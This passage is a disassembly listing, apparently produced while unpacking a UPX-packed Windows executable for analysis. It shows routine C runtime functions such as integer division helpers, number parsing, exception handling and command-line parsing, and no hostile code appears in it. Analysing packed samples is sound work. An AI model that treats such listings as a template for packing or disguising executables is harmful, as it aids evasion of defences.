call dword_41D080 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_42EBE8 jbe short loc_40EFFC or eax, 0FFFFFFFFh loc_40EFFC: ; CODE XREF: sub_40EFBB+3Cj mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40EFC4 loc_40F003: ; CODE XREF: sub_40EFBB+1Aj ; sub_40EFBB+1Fj ... mov eax, edi pop edi pop esi pop ebp retn sub_40EFBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F009 proc near ; CODE XREF: sub_416CC7+13Dp ; sub_416CC7+179p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push esi push edi xor esi, esi loc_40F012: ; CODE XREF: sub_40F009+4Aj push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B28B mov edi, eax add esp, 0Ch test edi, edi jnz short loc_40F055 cmp [ebp+arg_8], eax jz short loc_40F055 cmp dword_42EBE8, eax jbe short loc_40F055 push esi call dword_41D080 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_42EBE8 jbe short loc_40F04E or eax, 0FFFFFFFFh loc_40F04E: ; CODE XREF: sub_40F009+40j mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40F012 loc_40F055: ; CODE XREF: sub_40F009+1Ej ; sub_40F009+23j ... mov eax, edi pop edi pop esi pop ebp retn sub_40F009 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_4128E7+8F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_40F091 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_40F0D8 ; --------------------------------------------------------------------------- loc_40F091: ; CODE XREF: sub_40F060+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_40F09F: ; CODE XREF: sub_40F060+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40F09F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_40F0CD cmp edx, [esp+4+arg_4] ja short loc_40F0CD jb short loc_40F0D6 cmp eax, [esp+4+arg_0] jbe short loc_40F0D6 loc_40F0CD: ; CODE XREF: sub_40F060+5Dj ; sub_40F060+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_40F0D6: ; CODE XREF: sub_40F060+65j ; sub_40F060+6Bj xor ebx, ebx loc_40F0D8: ; CODE XREF: sub_40F060+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_40F060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0F5 proc near ; CODE XREF: sub_40F324:loc_40F345p var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp sub esp, 14h push esi push edi push [ebp+arg_0] lea ecx, [ebp+var_14] call sub_40C799 mov eax, [ebp+arg_8] mov esi, [ebp+arg_4] xor edi, edi cmp eax, edi jz short loc_40F118 mov [eax], esi loc_40F118: ; CODE XREF: sub_40F0F5+1Fj cmp esi, edi jnz short loc_40F148 loc_40F11C: ; CODE XREF: sub_40F0F5+5Cj ; sub_40F0F5+62j call sub_40C862 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_8], 0 jz short loc_40F141 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_40F141: ; CODE XREF: sub_40F0F5+43j xor eax, eax jmp loc_40F320 ; --------------------------------------------------------------------------- loc_40F148: ; CODE XREF: sub_40F0F5+25j cmp [ebp+arg_C], edi jz short loc_40F159 cmp [ebp+arg_C], 2 jl short loc_40F11C cmp [ebp+arg_C], 24h jg short loc_40F11C loc_40F159: ; CODE XREF: sub_40F0F5+56j mov ecx, [ebp+var_14] push ebx mov bl, [esi] mov [ebp+var_4], edi lea edi, [esi+1] loc_40F165: ; CODE XREF: sub_40F0F5+A7j cmp dword ptr [ecx+0ACh], 1 jle short loc_40F185 lea eax, [ebp+var_14] push eax movzx eax, bl push 8 push eax call sub_41449B mov ecx, [ebp+var_14] add esp, 0Ch jmp short loc_40F195 ; --------------------------------------------------------------------------- loc_40F185: ; CODE XREF: sub_40F0F5+77j mov edx, [ecx+0C8h] movzx eax, bl movzx eax, word ptr [edx+eax*2] and eax, 8 loc_40F195: ; CODE XREF: sub_40F0F5+8Ej test eax, eax jz short loc_40F19E mov bl, [edi] inc edi jmp short loc_40F165 ; --------------------------------------------------------------------------- loc_40F19E: ; CODE XREF: sub_40F0F5+A2j cmp bl, 2Dh jnz short loc_40F1A9 or [ebp+arg_10], 2 jmp short loc_40F1AE ; --------------------------------------------------------------------------- loc_40F1A9: ; CODE XREF: sub_40F0F5+ACj cmp bl, 2Bh jnz short loc_40F1B1 loc_40F1AE: ; CODE XREF: sub_40F0F5+B2j mov bl, [edi] inc edi loc_40F1B1: ; CODE XREF: sub_40F0F5+B7j mov eax, [ebp+arg_C] test eax, eax jl loc_40F307 cmp eax, 1 jz loc_40F307 cmp eax, 24h jg loc_40F307 test eax, eax jnz short loc_40F1FC cmp bl, 30h jz short loc_40F1E0 mov [ebp+arg_C], 0Ah jmp short loc_40F214 ; --------------------------------------------------------------------------- loc_40F1E0: ; CODE XREF: sub_40F0F5+E0j mov al, [edi] cmp al, 78h jz short loc_40F1F3 cmp al, 58h jz short loc_40F1F3 mov [ebp+arg_C], 8 jmp short loc_40F214 ; --------------------------------------------------------------------------- loc_40F1F3: ; CODE XREF: sub_40F0F5+EFj ; sub_40F0F5+F3j mov [ebp+arg_C], 10h jmp short loc_40F206 ; --------------------------------------------------------------------------- loc_40F1FC: ; CODE XREF: sub_40F0F5+DBj cmp eax, 10h jnz short loc_40F214 cmp bl, 30h jnz short loc_40F214 loc_40F206: ; CODE XREF: sub_40F0F5+105j mov al, [edi] cmp al, 78h jz short loc_40F210 cmp al, 58h jnz short loc_40F214 loc_40F210: ; CODE XREF: sub_40F0F5+115j inc edi mov bl, [edi] inc edi loc_40F214: ; CODE XREF: sub_40F0F5+E9j ; sub_40F0F5+FCj ... mov esi, [ecx+0C8h] mov eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_C] loc_40F224: ; CODE XREF: sub_40F0F5+1A2j movzx ecx, bl movzx ecx, word ptr [esi+ecx*2] test cl, 4 jz short loc_40F238 movsx ecx, bl sub ecx, 30h jmp short loc_40F253 ; --------------------------------------------------------------------------- loc_40F238: ; CODE XREF: sub_40F0F5+139j test ecx, 103h jz short loc_40F271 mov cl, bl sub cl, 61h cmp cl, 19h movsx ecx, bl ja short loc_40F250 sub ecx, 20h loc_40F250: ; CODE XREF: sub_40F0F5+156j add ecx, 0FFFFFFC9h loc_40F253: ; CODE XREF: sub_40F0F5+141j cmp ecx, [ebp+arg_C] jnb short loc_40F271 or [ebp+arg_10], 8 cmp [ebp+var_4], eax jb short loc_40F288 jnz short loc_40F267 cmp ecx, edx jbe short loc_40F288 loc_40F267: ; CODE XREF: sub_40F0F5+16Cj or [ebp+arg_10], 4 cmp [ebp+arg_8], 0 jnz short loc_40F294 loc_40F271: ; CODE XREF: sub_40F0F5+149j ; sub_40F0F5+161j mov eax, [ebp+arg_10] dec edi test al, 8 jnz short loc_40F299 cmp [ebp+arg_8], 0 jz short loc_40F282 mov edi, [ebp+arg_4] loc_40F282: ; CODE XREF: sub_40F0F5+188j and [ebp+var_4], 0 jmp short loc_40F2E3 ; --------------------------------------------------------------------------- loc_40F288: ; CODE XREF: sub_40F0F5+16Aj ; sub_40F0F5+170j mov ebx, [ebp+var_4] imul ebx, [ebp+arg_C] add ebx, ecx mov [ebp+var_4], ebx loc_40F294: ; CODE XREF: sub_40F0F5+17Aj mov bl, [edi] inc edi jmp short loc_40F224 ; --------------------------------------------------------------------------- loc_40F299: ; CODE XREF: sub_40F0F5+182j mov esi, 7FFFFFFFh test al, 4 jnz short loc_40F2BD test al, 1 jnz short loc_40F2E3 and eax, 2 jz short loc_40F2B4 cmp [ebp+var_4], 80000000h ja short loc_40F2BD loc_40F2B4: ; CODE XREF: sub_40F0F5+1B4j test eax, eax jnz short loc_40F2E3 cmp [ebp+var_4], esi jbe short loc_40F2E3 loc_40F2BD: ; CODE XREF: sub_40F0F5+1ABj ; sub_40F0F5+1BDj call sub_40C862 test byte ptr [ebp+arg_10], 1 mov dword ptr [eax], 22h jz short loc_40F2D4 or [ebp+var_4], 0FFFFFFFFh jmp short loc_40F2E3 ; --------------------------------------------------------------------------- loc_40F2D4: ; CODE XREF: sub_40F0F5+1D7j test byte ptr [ebp+arg_10], 2 push 0 pop eax setnz al add eax, esi mov [ebp+var_4], eax loc_40F2E3: ; CODE XREF: sub_40F0F5+191j ; sub_40F0F5+1AFj ... mov eax, [ebp+arg_8] test eax, eax jz short loc_40F2EC mov [eax], edi loc_40F2EC: ; CODE XREF: sub_40F0F5+1F3j test byte ptr [ebp+arg_10], 2 jz short loc_40F2F5 neg [ebp+var_4] loc_40F2F5: ; CODE XREF: sub_40F0F5+1FBj cmp [ebp+var_8], 0 jz short loc_40F302 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_40F302: ; CODE XREF: sub_40F0F5+204j mov eax, [ebp+var_4] jmp short loc_40F31F ; --------------------------------------------------------------------------- loc_40F307: ; CODE XREF: sub_40F0F5+C1j ; sub_40F0F5+CAj ... mov eax, [ebp+arg_8] test eax, eax jz short loc_40F310 mov [eax], esi loc_40F310: ; CODE XREF: sub_40F0F5+217j cmp [ebp+var_8], 0 jz short loc_40F31D mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_40F31D: ; CODE XREF: sub_40F0F5+21Fj xor eax, eax loc_40F31F: ; CODE XREF: sub_40F0F5+210j pop ebx loc_40F320: ; CODE XREF: sub_40F0F5+4Ej pop edi pop esi leave retn sub_40F0F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F324 proc near ; CODE XREF: sub_40BABC+Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp xor eax, eax push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] cmp dword_42ED1C, eax jnz short loc_40F344 push offset off_42ACE0 jmp short loc_40F345 ; --------------------------------------------------------------------------- loc_40F344: ; CODE XREF: sub_40F324+17j push eax loc_40F345: ; CODE XREF: sub_40F324+1Ej call sub_40F0F5 add esp, 14h pop ebp retn sub_40F324 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40F350 proc near ; CODE XREF: sub_40BB3D+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_40F372 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_40F3B3 ; --------------------------------------------------------------------------- loc_40F372: ; CODE XREF: sub_40F350+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_40F380: ; CODE XREF: sub_40F350+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40F380 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_40F3AE cmp edx, [esp+8+arg_4] ja short loc_40F3AE jb short loc_40F3AF cmp eax, [esp+8+arg_0] jbe short loc_40F3AF loc_40F3AE: ; CODE XREF: sub_40F350+4Ej ; sub_40F350+54j dec esi loc_40F3AF: ; CODE XREF: sub_40F350+56j ; sub_40F350+5Cj xor edx, edx mov eax, esi loc_40F3B3: ; CODE XREF: sub_40F350+20j pop esi pop ebx retn 10h sub_40F350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3B8 proc near ; DATA XREF: sub_40F3FAo arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_40F3F4 cmp dword ptr [eax+10h], 3 jnz short loc_40F3F4 mov eax, [eax+14h] cmp eax, 19930520h jz short loc_40F3EF cmp eax, 19930521h jz short loc_40F3EF cmp eax, 19930522h jz short loc_40F3EF cmp eax, 1994000h jnz short loc_40F3F4 loc_40F3EF: ; CODE XREF: sub_40F3B8+20j ; sub_40F3B8+27j ... call sub_40E02B loc_40F3F4: ; CODE XREF: sub_40F3B8+10j ; sub_40F3B8+16j ... xor eax, eax pop ebp retn 4 sub_40F3B8 endp ; =============== S U B R O U T I N E ======================================= sub_40F3FA proc near ; DATA XREF: UPX0:0041D40Co push offset sub_40F3B8 call dword_41D1AC ; SetUnhandledExceptionFilter xor eax, eax retn sub_40F3FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F408 proc near ; CODE XREF: UPX0:0040BCEEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx push ecx push esi call sub_40E316 mov esi, eax test esi, esi jz loc_40F565 mov edx, [esi+5Ch] mov eax, dword_42A3DC push edi mov edi, [ebp+arg_0] mov ecx, edx push ebx loc_40F42E: ; CODE XREF: sub_40F408+36j cmp [ecx], edi jz short loc_40F440 mov ebx, eax imul ebx, 0Ch add ecx, 0Ch add ebx, edx cmp ecx, ebx jb short loc_40F42E loc_40F440: ; CODE XREF: sub_40F408+28j imul eax, 0Ch add eax, edx cmp ecx, eax jnb short loc_40F451 cmp [ecx], edi jnz short loc_40F451 mov eax, ecx jmp short loc_40F453 ; --------------------------------------------------------------------------- loc_40F451: ; CODE XREF: sub_40F408+3Fj ; sub_40F408+43j xor eax, eax loc_40F453: ; CODE XREF: sub_40F408+47j test eax, eax jz short loc_40F461 mov ebx, [eax+8] mov [ebp+var_4], ebx test ebx, ebx jnz short loc_40F468 loc_40F461: ; CODE XREF: sub_40F408+4Dj xor eax, eax jmp loc_40F563 ; --------------------------------------------------------------------------- loc_40F468: ; CODE XREF: sub_40F408+57j cmp ebx, 5 jnz short loc_40F479 and dword ptr [eax+8], 0 xor eax, eax inc eax jmp loc_40F563 ; --------------------------------------------------------------------------- loc_40F479: ; CODE XREF: sub_40F408+63j cmp ebx, 1 jz loc_40F560 mov ecx, [esi+60h] mov [ebp+var_8], ecx mov ecx, [ebp+arg_4] mov [esi+60h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_40F552 mov ecx, dword_42A3D0 mov edi, dword_42A3D4 mov edx, ecx add edi, ecx cmp edx, edi jge short loc_40F4D2 imul ecx, 0Ch loc_40F4B1: ; CODE XREF: sub_40F408+C5j mov edi, [esi+5Ch] and dword ptr [ecx+edi+8], 0 mov edi, dword_42A3D0 mov ebx, dword_42A3D4 inc edx add ebx, edi add ecx, 0Ch cmp edx, ebx jl short loc_40F4B1 mov ebx, [ebp+var_4] loc_40F4D2: ; CODE XREF: sub_40F408+A4j mov eax, [eax] mov edi, [esi+64h] cmp eax, 0C000008Eh jnz short loc_40F4E7 mov dword ptr [esi+64h], 83h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F4E7: ; CODE XREF: sub_40F408+D4j cmp eax, 0C0000090h jnz short loc_40F4F7 mov dword ptr [esi+64h], 81h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F4F7: ; CODE XREF: sub_40F408+E4j cmp eax, 0C0000091h jnz short loc_40F507 mov dword ptr [esi+64h], 84h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F507: ; CODE XREF: sub_40F408+F4j cmp eax, 0C0000093h jnz short loc_40F517 mov dword ptr [esi+64h], 85h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F517: ; CODE XREF: sub_40F408+104j cmp eax, 0C000008Dh jnz short loc_40F527 mov dword ptr [esi+64h], 82h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F527: ; CODE XREF: sub_40F408+114j cmp eax, 0C000008Fh jnz short loc_40F537 mov dword ptr [esi+64h], 86h jmp short loc_40F545 ; --------------------------------------------------------------------------- loc_40F537: ; CODE XREF: sub_40F408+124j cmp eax, 0C0000092h jnz short loc_40F545 mov dword ptr [esi+64h], 8Ah loc_40F545: ; CODE XREF: sub_40F408+DDj ; sub_40F408+EDj ... push dword ptr [esi+64h] push 8 call ebx pop ecx mov [esi+64h], edi jmp short loc_40F559 ; --------------------------------------------------------------------------- loc_40F552: ; CODE XREF: sub_40F408+8Cj and dword ptr [eax+8], 0 push ecx call ebx loc_40F559: ; CODE XREF: sub_40F408+148j mov eax, [ebp+var_8] pop ecx mov [esi+60h], eax loc_40F560: ; CODE XREF: sub_40F408+74j or eax, 0FFFFFFFFh loc_40F563: ; CODE XREF: sub_40F408+5Bj ; sub_40F408+6Cj pop ebx pop edi loc_40F565: ; CODE XREF: sub_40F408+11j pop esi leave retn sub_40F408 endp ; =============== S U B R O U T I N E ======================================= sub_40F568 proc near ; CODE XREF: UPX0:loc_40BCAAp mov edi, edi push esi push edi xor edi, edi cmp dword_430270, edi jnz short loc_40F57B call sub_4121C2 loc_40F57B: ; CODE XREF: sub_40F568+Cj mov esi, dword_430294 test esi, esi jnz short loc_40F58A mov esi, offset off_4246EE loc_40F58A: ; CODE XREF: sub_40F568+1Bj ; sub_40F568+4Dj mov al, [esi] cmp al, 20h ja short loc_40F598 test al, al jz short loc_40F5C2 test edi, edi jz short loc_40F5BC loc_40F598: ; CODE XREF: sub_40F568+26j cmp al, 22h jnz short loc_40F5A5 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_40F5A5: ; CODE XREF: sub_40F568+32j movzx eax, al push eax call sub_4145E7 pop ecx test eax, eax jz short loc_40F5B4 inc esi loc_40F5B4: ; CODE XREF: sub_40F568+49j inc esi jmp short loc_40F58A ; --------------------------------------------------------------------------- loc_40F5B7: ; CODE XREF: sub_40F568+58j cmp al, 20h ja short loc_40F5C2 inc esi loc_40F5BC: ; CODE XREF: sub_40F568+2Ej mov al, [esi] test al, al jnz short loc_40F5B7 loc_40F5C2: ; CODE XREF: sub_40F568+2Aj ; sub_40F568+51j pop edi mov eax, esi pop esi retn sub_40F568 endp ; =============== S U B R O U T I N E ======================================= sub_40F5C7 proc near ; CODE XREF: UPX0:loc_40BC87p cmp dword_430270, 0 jnz short loc_40F5D5 call sub_4121C2 loc_40F5D5: ; CODE XREF: sub_40F5C7+7j push esi mov esi, dword_42E3F0 push edi xor edi, edi test esi, esi jnz short loc_40F5FB loc_40F5E3: ; CODE XREF: sub_40F5C7+4Fj or eax, 0FFFFFFFFh jmp loc_40F68B ; --------------------------------------------------------------------------- loc_40F5EB: ; CODE XREF: sub_40F5C7+38j cmp al, 3Dh jz short loc_40F5F0 inc edi loc_40F5F0: ; CODE XREF: sub_40F5C7+26j push esi call sub_40BFB0 pop ecx lea esi, [esi+eax+1] loc_40F5FB: ; CODE XREF: sub_40F5C7+1Aj mov al, [esi] test al, al jnz short loc_40F5EB push 4 inc edi push edi call sub_40EF6F mov edi, eax pop ecx pop ecx mov dword_42E88C, edi test edi, edi jz short loc_40F5E3 mov esi, dword_42E3F0 push ebx jmp short loc_40F663 ; --------------------------------------------------------------------------- loc_40F621: ; CODE XREF: sub_40F5C7+9Fj push esi call sub_40BFB0 mov ebx, eax inc ebx cmp byte ptr [esi], 3Dh pop ecx jz short loc_40F661 push 1 push ebx call sub_40EF6F pop ecx pop ecx mov [edi], eax test eax, eax jz short loc_40F68E push esi push ebx push eax call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40F65E xor eax, eax push eax push eax push eax push eax push eax call sub_40B12D add esp, 14h loc_40F65E: ; CODE XREF: sub_40F5C7+86j add edi, 4 loc_40F661: ; CODE XREF: sub_40F5C7+67j add esi, ebx loc_40F663: ; CODE XREF: sub_40F5C7+58j cmp byte ptr [esi], 0 jnz short loc_40F621 push dword_42E3F0 call sub_40ADC8 and dword_42E3F0, 0 and dword ptr [edi], 0 mov dword_430264, 1 xor eax, eax loc_40F689: ; CODE XREF: sub_40F5C7+DCj pop ecx pop ebx loc_40F68B: ; CODE XREF: sub_40F5C7+1Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40F68E: ; CODE XREF: sub_40F5C7+77j push dword_42E88C call sub_40ADC8 and dword_42E88C, 0 or eax, 0FFFFFFFFh jmp short loc_40F689 sub_40F5C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6A5 proc near ; CODE XREF: sub_40F83F+57p ; sub_40F83F+98p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_8] push ebx xor eax, eax push esi mov [edi], eax mov esi, edx mov edx, [ebp+arg_4] mov dword ptr [ecx], 1 cmp [ebp+arg_0], eax jz short loc_40F6CD mov ebx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ebx], edx loc_40F6CD: ; CODE XREF: sub_40F6A5+1Dj mov [ebp+var_4], eax loc_40F6D0: ; CODE XREF: sub_40F6A5+80j ; sub_40F6A5+8Aj cmp byte ptr [esi], 22h jnz short loc_40F6E5 xor eax, eax cmp [ebp+var_4], eax mov bl, 22h setz al inc esi mov [ebp+var_4], eax jmp short loc_40F721 ; --------------------------------------------------------------------------- loc_40F6E5: ; CODE XREF: sub_40F6A5+2Ej inc dword ptr [edi] test edx, edx jz short loc_40F6F3 mov al, [esi] mov [edx], al inc edx mov [ebp+arg_4], edx loc_40F6F3: ; CODE XREF: sub_40F6A5+44j mov bl, [esi] movzx eax, bl push eax inc esi call sub_4145E7 pop ecx test eax, eax jz short loc_40F717 inc dword ptr [edi] cmp [ebp+arg_4], 0 jz short loc_40F716 mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al loc_40F716: ; CODE XREF: sub_40F6A5+65j inc esi loc_40F717: ; CODE XREF: sub_40F6A5+5Dj mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] test bl, bl jz short loc_40F753 loc_40F721: ; CODE XREF: sub_40F6A5+3Ej cmp [ebp+var_4], 0 jnz short loc_40F6D0 cmp bl, 20h jz short loc_40F731 cmp bl, 9 jnz short loc_40F6D0 loc_40F731: ; CODE XREF: sub_40F6A5+85j test edx, edx jz short loc_40F739 mov byte ptr [edx-1], 0 loc_40F739: ; CODE XREF: sub_40F6A5+8Ej ; sub_40F6A5+AFj and [ebp+var_4], 0 loc_40F73D: ; CODE XREF: sub_40F6A5+185j cmp byte ptr [esi], 0 jz loc_40F82F loc_40F746: ; CODE XREF: sub_40F6A5+ACj mov al, [esi] cmp al, 20h jz short loc_40F750 cmp al, 9 jnz short loc_40F756 loc_40F750: ; CODE XREF: sub_40F6A5+A5j inc esi jmp short loc_40F746 ; --------------------------------------------------------------------------- loc_40F753: ; CODE XREF: sub_40F6A5+7Aj dec esi jmp short loc_40F739 ; --------------------------------------------------------------------------- loc_40F756: ; CODE XREF: sub_40F6A5+A9j cmp byte ptr [esi], 0 jz loc_40F82F cmp [ebp+arg_0], 0 jz short loc_40F76E mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov [eax], edx loc_40F76E: ; CODE XREF: sub_40F6A5+BEj inc dword ptr [ecx] loc_40F770: ; CODE XREF: sub_40F6A5+170j xor ebx, ebx inc ebx xor ecx, ecx jmp short loc_40F779 ; --------------------------------------------------------------------------- loc_40F777: ; CODE XREF: sub_40F6A5+D7j inc esi inc ecx loc_40F779: ; CODE XREF: sub_40F6A5+D0j cmp byte ptr [esi], 5Ch jz short loc_40F777 cmp byte ptr [esi], 22h jnz short loc_40F7A9 test cl, 1 jnz short loc_40F7A7 cmp [ebp+var_4], 0 jz short loc_40F79A lea eax, [esi+1] cmp byte ptr [eax], 22h jnz short loc_40F79A mov esi, eax jmp short loc_40F7A7 ; --------------------------------------------------------------------------- loc_40F79A: ; CODE XREF: sub_40F6A5+E7j ; sub_40F6A5+EFj xor eax, eax xor ebx, ebx cmp [ebp+var_4], eax setz al mov [ebp+var_4], eax loc_40F7A7: ; CODE XREF: sub_40F6A5+E1j ; sub_40F6A5+F3j shr ecx, 1 loc_40F7A9: ; CODE XREF: sub_40F6A5+DCj test ecx, ecx jz short loc_40F7BF loc_40F7AD: ; CODE XREF: sub_40F6A5+115j dec ecx test edx, edx jz short loc_40F7B6 mov byte ptr [edx], 5Ch inc edx loc_40F7B6: ; CODE XREF: sub_40F6A5+10Bj inc dword ptr [edi] test ecx, ecx jnz short loc_40F7AD mov [ebp+arg_4], edx loc_40F7BF: ; CODE XREF: sub_40F6A5+106j mov al, [esi] test al, al jz short loc_40F81A cmp [ebp+var_4], 0 jnz short loc_40F7D3 cmp al, 20h jz short loc_40F81A cmp al, 9 jz short loc_40F81A loc_40F7D3: ; CODE XREF: sub_40F6A5+124j test ebx, ebx jz short loc_40F814 movsx eax, al push eax test edx, edx jz short loc_40F802 call sub_4145E7 pop ecx test eax, eax jz short loc_40F7F6 mov al, [esi] mov ecx, [ebp+arg_4] inc [ebp+arg_4] mov [ecx], al inc esi inc dword ptr [edi] loc_40F7F6: ; CODE XREF: sub_40F6A5+142j mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al jmp short loc_40F80F ; --------------------------------------------------------------------------- loc_40F802: ; CODE XREF: sub_40F6A5+138j call sub_4145E7 pop ecx test eax, eax jz short loc_40F80F inc esi inc dword ptr [edi] loc_40F80F: ; CODE XREF: sub_40F6A5+15Bj ; sub_40F6A5+165j inc dword ptr [edi] mov edx, [ebp+arg_4] loc_40F814: ; CODE XREF: sub_40F6A5+130j inc esi jmp loc_40F770 ; --------------------------------------------------------------------------- loc_40F81A: ; CODE XREF: sub_40F6A5+11Ej ; sub_40F6A5+128j ... test edx, edx jz short loc_40F825 mov byte ptr [edx], 0 inc edx mov [ebp+arg_4], edx loc_40F825: ; CODE XREF: sub_40F6A5+177j inc dword ptr [edi] mov ecx, [ebp+arg_8] jmp loc_40F73D ; --------------------------------------------------------------------------- loc_40F82F: ; CODE XREF: sub_40F6A5+9Bj ; sub_40F6A5+B4j mov eax, [ebp+arg_0] pop esi pop ebx test eax, eax jz short loc_40F83B and dword ptr [eax], 0 loc_40F83B: ; CODE XREF: sub_40F6A5+191j inc dword ptr [ecx] leave retn sub_40F6A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F83F proc near ; CODE XREF: UPX0:0040BC76p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 0Ch push ebx xor ebx, ebx push esi push edi cmp dword_430270, ebx jnz short loc_40F859 call sub_4121C2 loc_40F859: ; CODE XREF: sub_40F83F+13j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push ebx mov byte_42ECF4, bl call dword_41D180 ; GetModuleFileNameA mov eax, dword_430294 mov off_42E89C, esi cmp eax, ebx jz short loc_40F887 mov [ebp+var_4], eax cmp [eax], bl jnz short loc_40F88A loc_40F887: ; CODE XREF: sub_40F83F+3Fj mov [ebp+var_4], esi loc_40F88A: ; CODE XREF: sub_40F83F+46j mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax push ebx push ebx lea edi, [ebp+var_C] call sub_40F6A5 mov eax, [ebp+var_8] add esp, 0Ch cmp eax, 3FFFFFFFh jnb short loc_40F8F2 mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnb short loc_40F8F2 mov edi, eax shl edi, 2 lea eax, [edi+ecx] cmp eax, ecx jb short loc_40F8F2 push eax call sub_40EF2A mov esi, eax pop ecx cmp esi, ebx jz short loc_40F8F2 mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax add edi, esi push edi push esi lea edi, [ebp+var_C] call sub_40F6A5 mov eax, [ebp+var_8] add esp, 0Ch dec eax mov dword_42E880, eax mov dword_42E884, esi xor eax, eax jmp short loc_40F8F5 ; --------------------------------------------------------------------------- loc_40F8F2: ; CODE XREF: sub_40F83F+67j ; sub_40F83F+6Fj ... or eax, 0FFFFFFFFh loc_40F8F5: ; CODE XREF: sub_40F83F+B1j pop edi pop esi pop ebx leave retn sub_40F83F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8FA proc near ; CODE XREF: UPX0:0040BC6Cp ; sub_413E93+115p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp mov eax, dword_42ECF8 sub esp, 0Ch push ebx push esi mov esi, dword_41D15C push edi xor ebx, ebx 